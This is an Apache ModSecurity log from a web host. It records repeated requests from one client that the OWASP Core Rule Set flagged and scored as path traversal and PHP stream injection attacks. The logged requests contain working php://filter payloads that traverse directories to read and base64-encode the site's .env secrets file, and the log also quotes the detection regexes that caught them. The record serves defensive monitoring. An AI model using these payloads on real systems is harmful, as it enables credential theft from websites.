[Fri Jul 17 08:55:11.909591 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.909823 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWQAAAAE"]
[Fri Jul 17 08:55:11.909910 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.910829 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWQAAAAE"]
[Fri Jul 17 08:55:11.910833 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.910949 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.910949 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.911254 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.911268 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl-Ypb_TFRze2EO3zWQAAAAE"]
[Fri Jul 17 08:55:11.926554 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&extra=f_TDww_mLqdENzcxXeqn31Vca5uIt09oQXLSUNIrCEYppDetKIYN84EJ0856TvtmhepxlBfGPzi-TLAEbyWHQG2mLtyj0hotqbaWnUWUA1lPMOIeSyHHCqXvbbi_naY-yOfECE_VvkKf1X-Ee-NivfyUMNBtSDmaWx9Zdf-dZy58575Tq5cPXQUFJ22qfgJU4bhME_rmgID9wF07vdDdz82fMXjgfiS5qXbwMjYQlyGtZGRjD5fWMrh2zyDNOpqK9SGNGnynnMrkTcF8NGkNuGLp&anything=5LP7R3IMFBDGRLERTOWJNKNYKXGDD4UUZBROV7O2NNK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.926608 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.926666 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&extra=f_TDww_mLqdENzcxXeqn31Vca5uIt09oQXLSUNIrCEYppDetKIYN84EJ0856TvtmhepxlBfGPzi-TLAEbyWHQG2mLtyj0hotqbaWnUWUA1lPMOIeSyHHCqXvbbi_naY-yOfECE_VvkKf1X-Ee-NivfyUMNBtSDmaWx9Zdf-dZy58575Tq5cPXQUFJ22qfgJU4bhME_rmgID9wF07vdDdz82fMXjgfiS5qXbwMjYQlyGtZGRjD5fWMrh2zyDNOpqK9SGNGnynnMrkTcF8NGkNuGLp&anything=5LP7R3IMFBDGRLERTOWJNKNYKXGDD4UUZBROV7O2NNKOOBZJV23BFZZHBM32GNNNGPAVW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.926729 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&extra=f_tdww_mlqdenzcxxeqn31vca5uit09oqxlsunirceyppdetkiyn84ej0856tvtmhepxlbfgpzi-tlaebywhqg2mltyj0hotqbawnuwua1lpmoiesyhhcqxvbbi_nay-yofece_vvkkf1x-ee-nivfyumnbtsdmawx9zdf-dzy58575tq5cpxqufj22qfgju4bhme_rmgid9wf07vdddz82fmxjgfis5qxbwmjyqlygtzgrjd5fwmrh2zydnopqk9sgngnynnmrktcf8ngknuglp&anything=5lp7r3imfbdgrlertowjnknykxgdd4uuzbrov7o2nnkoobzjv23bfzzhbm32gnnngpavw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.926760 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.926785 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.927153 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.928289 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.928517 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.928853 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-OgAAABw"]
[Fri Jul 17 08:55:11.929987 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=D4yvAIvwQ7fBEt9OPNCJNUy8aDApbxQGpdJbmDsGFru2hVB9LGkaepL5qNigLhC7ggBAE7XoOzvF1ep0WkADfv5H6IRzap6YL9Pe7HLYYry8IuswVa67WHRdmvSNF4bS1k3kFbVpQLS13d4I5twU5kY-hUb14EETP69D_VWVKcg_MFGqoOK6CGNtZPh9M4ruFo4X32R-ZaEYiGPPvwJnTJkKfOozGSyJhxx2tb7vRFbUHUrBX1O_E3WjZ_mblvCvrFaMkmio2dniVS2SKsAr9XUS&sid=NPOFT2UCB3T7FGRJMBA5YUBBC65N7OPUSXAEQ43JRIPOGJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930081 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930167 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=D4yvAIvwQ7fBEt9OPNCJNUy8aDApbxQGpdJbmDsGFru2hVB9LGkaepL5qNigLhC7ggBAE7XoOzvF1ep0WkADfv5H6IRzap6YL9Pe7HLYYry8IuswVa67WHRdmvSNF4bS1k3kFbVpQLS13d4I5twU5kY-hUb14EETP69D_VWVKcg_MFGqoOK6CGNtZPh9M4ruFo4X32R-ZaEYiGPPvwJnTJkKfOozGSyJhxx2tb7vRFbUHUrBX1O_E3WjZ_mblvCvrFaMkmio2dniVS2SKsAr9XUS&sid=NPOFT2UCB3T7FGRJMBA5YUBBC65N7OPUSXAEQ43JRIPOGJ2SLO4BKE6OAZSPU2EMMQFACAXD46..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930236 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=d4yvaivwq7fbet9opncjnuy8adapbxqgpdjbmdsgfru2hvb9lgkaepl5qniglhc7ggbae7xoozvf1ep0wkadfv5h6irzap6yl9pe7hlyyry8iuswva67whrdmvsnf4bs1k3kfbvpqls13d4i5twu5ky-hub14eetp69d_vwvkcg_mfgqook6cgntzph9m4rufo4x32r-zaeyigppvwjntjkkfoozgsyjhxx2tb7vrfbuhurbx1o_e3wjz_mblvcvrfamkmio2dnivs2sksar9xus&sid=npoft2ucb3t7fgrjmba5yubbc65n7opusxaeq43jripogj2slo4bke6oazspu2emmqfacaxd46..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930284 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930326 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.930814 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.932366 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.932564 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.932977 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l951AAAAAw"]
[Fri Jul 17 08:55:11.937979 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdAAAAAU"]
[Fri Jul 17 08:55:11.939570 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AdAAAAAU"]
